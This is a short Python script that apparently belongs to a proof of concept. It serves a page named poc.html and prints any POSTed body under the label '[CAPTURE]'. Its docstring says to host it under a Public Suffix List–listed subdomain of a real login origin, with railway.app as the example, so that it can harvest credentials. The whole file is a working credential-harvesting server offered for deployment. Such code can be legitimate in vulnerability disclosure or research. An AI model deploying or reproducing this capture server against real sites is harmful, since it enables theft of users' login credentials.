#!/usr/bin/env python3
"""Serve poc.html and log any captured credentials.

Deploy this (or equivalent) on a tenant under a PSL-listed private registry
that is itself a subdomain of a real login origin, e.g.:
    https://<anything>.up.railway.app/
"""
import http.server
import json
import socketserver
import sys

PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 8080


class Handler(http.server.SimpleHTTPRequestHandler):
    def do_POST(self):  # noqa: N802
        n = int(self.headers.get("Content-Length", "0") or 0)
        body = self.rfile.read(n)
        try:
            print("[CAPTURE]", json.loads(body.decode("utf-8", "replace")),
                  flush=True)
        except Exception:
            print("[CAPTURE raw]", body, flush=True)
        self.send_response(204)
        self.end_headers()


socketserver.TCPServer.allow_reuse_address = True
with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print(f"serving poc.html on :{PORT}", flush=True)
    httpd.serve_forever()